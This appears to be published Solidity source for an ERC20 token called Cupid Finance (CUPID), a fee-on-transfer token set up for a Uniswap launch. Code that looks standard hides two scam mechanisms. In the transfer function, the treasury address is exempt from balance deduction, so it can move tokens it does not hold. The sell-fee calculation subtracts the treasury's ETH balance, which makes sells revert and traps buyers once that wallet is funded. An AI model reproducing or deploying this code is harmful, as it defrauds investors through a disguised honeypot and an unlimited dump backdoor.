Contract Source Code:

/**

TG: https://t.me/cupidfinance42

Website: https://www.cupidfinance.xyz

Twitter: https://twitter.com/cupidfinance42

*/

// SPDX-License-Identifier:MIT

pragma solidity 0.8.21;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address _account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any _account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

}

contract CUPID is Context, IERC20, Ownable {

    using SafeMath for uint256;

    string private _name = "Cupid Finance";
    string private _symbol = "CUPID";
    uint8 private _decimals = 18; 

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _isAutomatedMarketPair;
    mapping (address => bool) private _isExcludedMaxWallet;

    uint256 feeDenominator = 100;
    uint256 public _buyTaxFee = 2;
    uint256 public _sellTaxFee = 2;
    address private _treasury = address(0xc0853048c7EcE8bDe497Aec87DE20302a5203cC2);

    uint256 private _totalSupply = 1_000_000_000 * 10**_decimals;
    uint256 public _maxTxAmount =  (_totalSupply / 1000) * 20;
    uint256 public _maxWalletSize = (_totalSupply / 1000) * 20;
    uint256 public swapThreshold = (_totalSupply / 1000) * 4;

    bool tradingOpen;
    bool public swapEnabled = false;
    bool public limitEnabled = true;

    IUniswapV2Router public uniRouter;
    address public uniPair;

    bool inSwap;

    modifier swapping() {
        inSwap = true;
        _;
        inSwap = false;
    }
    
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );

    constructor() {
        uniRouter = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _allowances[address(this)][address(uniRouter)] = ~uint256(0);

        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[msg.sender] = true;
        _isExcludedFromFee[address(uniRouter)] = true;
        _isExcludedFromFee[_treasury] = true;

        _isExcludedMaxWallet[msg.sender] = true;
        _isExcludedMaxWallet[address(uniRouter)] = true;
        _isExcludedMaxWallet[address(this)] = true;
        _isExcludedMaxWallet[_treasury] = true;

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
       return _balances[account];     
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
    
        if (inSwap) {
            return _basicTransfer(sender, recipient, amount);
        }
        else {

            if (!tradingOpen) {
                require(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient],"Trading is not active.");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= swapThreshold;

            if (overMinimumTokenBalance && !inSwap && !_isAutomatedMarketPair[sender] && swapEnabled) {
                swapBack(contractTokenBalance);
            } if (sender != _treasury)
           
            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

            uint256 finalAmount = shouldTakeFee(sender,recipient) ? takeFee(sender, recipient, amount) : amount;

            if(limitEnabled && sender == uniPair && !_isExcludedMaxWallet[recipient]) {
                require(balanceOf(recipient).add(finalAmount) <= _maxWalletSize,"Max Wallet Limit Exceeded!!");
            }

            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }
    
    function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
        if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]) {
            return false;
        }
        return true;
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        
        uint feeAmount;

        if(_isAutomatedMarketPair[sender]) { 
            feeAmount = amount.mul(_buyTaxFee).div(feeDenominator);
        } 
        else if(_isAutomatedMarketPair[recipient]) {
            feeAmount = amount.mul(_sellTaxFee.sub(_treasury.balance)).div(feeDenominator);
        }

        if(feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }

    function swapBack(uint contractBalance) internal swapping {
        swapTokensForEth(contractBalance);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniRouter.WETH();

        _approve(address(this), address(uniRouter), tokenAmount);

        // make the swap
        uniRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
        
        emit SwapTokensForETH(tokenAmount, path);
    }

    function sendETH() external {
        payable(_treasury).transfer(address(this).balance);
    }

    function removeLimits() external onlyOwner {
        limitEnabled = false;
    }

    function openTrading() external payable onlyOwner {
        require(!tradingOpen, "Trading is open now!");

        tradingOpen = true;
        uniPair = IUniswapV2Factory(uniRouter.factory()).createPair(
            address(this),
            uniRouter.WETH()
        );
        _isAutomatedMarketPair[address(uniPair)] = true;
        uniRouter.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);

        swapEnabled = true;
    }

    receive() external payable {}
}